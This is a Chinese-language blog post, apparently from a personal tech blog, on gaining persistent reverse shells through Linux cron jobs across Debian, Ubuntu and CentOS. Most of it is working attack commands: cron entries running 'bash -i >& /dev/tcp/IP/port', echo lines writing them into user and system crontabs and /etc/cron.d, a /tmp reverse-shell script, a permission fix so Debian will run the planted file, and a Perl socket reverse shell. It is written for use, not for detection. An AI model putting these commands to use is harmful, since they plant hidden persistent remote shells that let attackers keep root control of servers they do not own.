计划任务反弹Shell命令在不同Linux系统的区别

重要文件

全局Crontab配置文件:在 /etc/crontab 文件中

额外的计划任务目录/etc/cron.d/ (目录下可以放置额外的Crontab文件)

用户级别计划任务:
Debian和Ubuntu:/var/spool/cron/crontabs/
CentoOS:/var/spool/cron/

计划任务日志(系统日志)/var/log/syslog

全局级配置文件(查看运行bash) !!!

/etc/crontab

(系统级的)系统计划任务配置

Debian(kali):

Ubuntu:

Cento-OS:

SHELL:计划任务的执行shell(Debian\Ubuntu为sh,即dash!!!)
重点关注这一项,因为很多人反弹shell用bash命令回不来就是因为这个

根据命令:

ls -alh /bin/ | grep -w "sh"

/bin/sh默认指向dash,dash比bash体积小速度快,兼容性高。
dash主要是为了执行脚本而出现,所以不能实现交互,即不能反弹交互式shell,但可以反弹非交互式shel

什么是交互式,非交互式呢?
你可以理解为:
1、交互式就是Shell窗口的输入来自于你的键盘,可以多次输入
2、非交互式是Shell窗口的输入来自于文本,比如文件,只能一次提取
关于反弹Shell的命令我在另一篇文章有详解nc反弹bash中 &>、0>&1是什么意思

所以我们要拿到服务器Shell肯定需要交互式的才行

那如果定时任务不是Bash执行的就不可以获得交互式Shell了吗

答案是,可以。

dash反弹方法

通过嵌套
Bash -i 命令: -i为交互式选项,也是大家常用的bash反弹的选项
Bash -c 命令 :-c为非交互式选项,即刚刚说的只能执行一次命令

但如果我们把他嵌套一下
用 Bash -c 执行 Bash -i 就会得到

bash -c ‘bash -i >& /dev/tcp/IP/11111 0>&1’

Bash -c执行一次命令,执行一个bash -i的反弹shell命令。
这样这个bash -i是通过bash -c创建的命令,所以不是sh的环境了,就可以返回一个bash窗口了。

坑点

这里有人看到刚刚说的,/bin/sh默认指向dash,所以可以把他们暂时理解为一个东西。
那sh是有 -i 选项的,有人说不能用sh反弹吗

sh -i >& /dev/tcp/IP/11111 0>&1

这里是一个坑点,当你在sh窗口执行以下该命令你就会发现
结论就是:
sh是不支持 /dev/tcp 等 Bash 特性

所以还是只能用上述嵌套的方法,先创建一个bash环境,再反弹shell


方法一:crontab -e写入命令(分系统) (有计划任务权限)

本质:替用户创建了用户级的计时任务文件
即在:
/var/spool/cron (Cento-OS)
/var/spool/cron/crontabs/ (Debian、Ubuntu)

下创建以用户名为文件名的计时任务文件(root用户的也放在这

文件内容为:
Debian|Ubuntu

*/1 * * * * root bash -c "bash -i >& /dev/tcp/IP/9090 0>&1"

*/1 * * * * root bash -c "/bin/bash -i >& /dev/tcp/IP/9090 0>&1"

Cento-OS

*/1 * * * * root bash -i >& /dev/tcp/IP/9090 0>&1

*/1 * * * * root /bin/bash -i >& /dev/tcp/IP/9090 0>&1

Debian(Kali) :/var/spool/cron/crontabs/

Ubuntu :/var/spool/cron/crontabs/

Cento-OS: /var/spool/cron


方法二:echo写入用户级文件(分系统)(root权限)

根据方法一原理,我们可以直接用echo写入计时任务到当前用户名的计时任务文件里

Debian|Ubuntu 写入到:/var/spool/cron/crontabs/用户名

echo '*/1 * * * * bash -c "bash -i >& /dev/tcp/IP/9090 0>&1"' > /var/spool/cron/crontabs/用户名

echo '*/1 * * * * bash -c“/bin/bash -i >& /dev/tcp/IP/9090 0>&1“' > /var/spool/cron/crontabs/用户名

测试遇到问题:Kali可以写入到其它用户名文件中有效果,kali用户可以使用crontab -e
Ubuntu 写入到其它用户名文件没有效果,但本身普通用户不能crontab -e
后续再深究

如果本身没有使用过计划任务,会新创建该文件。
但是新创建的文件权限为(644)

关键!!!
Debian和Ubuntu规定计划任务文件权限必须为600
这也是为什么网上文章都说只有Cento-OS可以计划任务弹shell
所以
以此方法创建的文件需要修改文件权限为600,然后重启cron

chmod 600 root
systemctl restart cron

可以看到此处创建smile文件为644

Conto-OS写入到 :/var/spool/cron/用户名

echo '*/1 * * * * bash -i >& /dev/tcp/IP/9090 0>&1' > /var/spool/cron/用户名

echo '*/1 * * * * /bin/bash -i >& /dev/tcp/IP/9090 0>&1' > /var/spool/cron/用户名

方法三:crontab -e执行sh文件(分系统)(root权限)

原理就是:用计划任务去执行sh脚本。

ubuntu的计划任务路径目录为/var/spool/cron/crontabs/`

Debian|Ubuntu

vim /tmp/1.sh

#!/bin/bash
bash -i >& /dev/tcp/IP/11111 0>&1

echo  '*/1 * * * * bash /tmp/1.sh' > /var/spool/cron/crontabs/用户名

Conto-OS

vim /tmp/1.sh

···

echo  '*/1 * * * * bash /tmp/1.sh' > /var/spool/cron/用户名

方法四:写入/etc/crontab文件(分系统)(root权限)

注意!!!
需要命令中加入用户名

Debian|Ubuntu

*/1 * * * * root bash -c "bash -i >& /dev/tcp/IP/9090 0>&1"

*/1 * * * * root bash -c "/bin/bash -i >& /dev/tcp/IP/9090 0>&1"

Cento-OS

*/1 * * * * root bash -i >& /dev/tcp/IP/9090 0>&1

*/1 * * * * root /bin/bash -i >& /dev/tcp/IP/9090 0>&1

方法五:写入/etc/cron.d目录(分系统)(root权限)(常用)

Debian|Ubuntu

*/1 * * * * root bash -c "bash -i >& /dev/tcp/IP/9090 0>&1"

*/1 * * * * root bash -c "/bin/bash -i >& /dev/tcp/IP/9090 0>&1"

Cento-OS

*/1 * * * * root bash -i >& /dev/tcp/IP/9090 0>&1

*/1 * * * * root /bin/bash -i >& /dev/tcp/IP/9090 0>&1

和方法四一样,写入路径变为/etc/cron.d,文件名任意

常用不分Linux系统反弹命令:

perl

*/1 * * * * root perl -e 'use Socket;$i="IP";$p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

网上挺多的,本文主要介绍文章重点。

posted @ 2025-03-11 15:17  Smile3306  阅读(115)  评论(0)    收藏  举报